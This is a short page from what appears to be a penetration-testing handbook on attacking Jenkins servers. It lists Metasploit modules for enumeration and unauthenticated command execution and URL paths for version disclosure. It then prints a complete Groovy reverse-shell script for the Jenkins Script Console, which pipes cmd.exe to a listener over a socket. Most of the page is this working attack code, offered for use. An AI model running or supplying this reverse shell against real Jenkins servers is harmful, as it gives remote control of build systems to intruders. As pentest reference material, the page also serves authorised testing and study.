> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/web-hacking/servers-cms/jenkins.md).

# Jenkins

## Enumeration

```bash
msf> use auxiliary/scanner/http/jenkins_enum

# execute commands without authentication ?
msf> use auxiliary/scanner/http/jenkins_command

# get jenkins version
/oops
/error
```

## RCE from Script Console

> From : <https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76>

{% code title="revsh.groovy" %}

```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

## Resources

{% embed url="<https://github.com/gquere/pwn_jenkins>" %}

{% embed url="<https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security>" %}